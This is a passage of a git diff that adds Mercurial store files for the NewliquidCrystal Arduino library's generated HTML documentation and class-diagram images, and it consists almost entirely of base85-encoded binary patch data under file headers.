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 CD@s5B literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal.png.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal.png.i new file mode 100644 index 0000000000000000000000000000000000000000..cdde0b94f92e0318f8b1a6344bb6b1a48a9bbcc9 GIT binary patch literal 417 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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/class__liquid__crystal______i2__c.html.i new file mode 100644 index 0000000000000000000000000000000000000000..d35c9497609b158a46f8d29a5675d38bd38ff5d9 GIT binary patch literal 11296 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 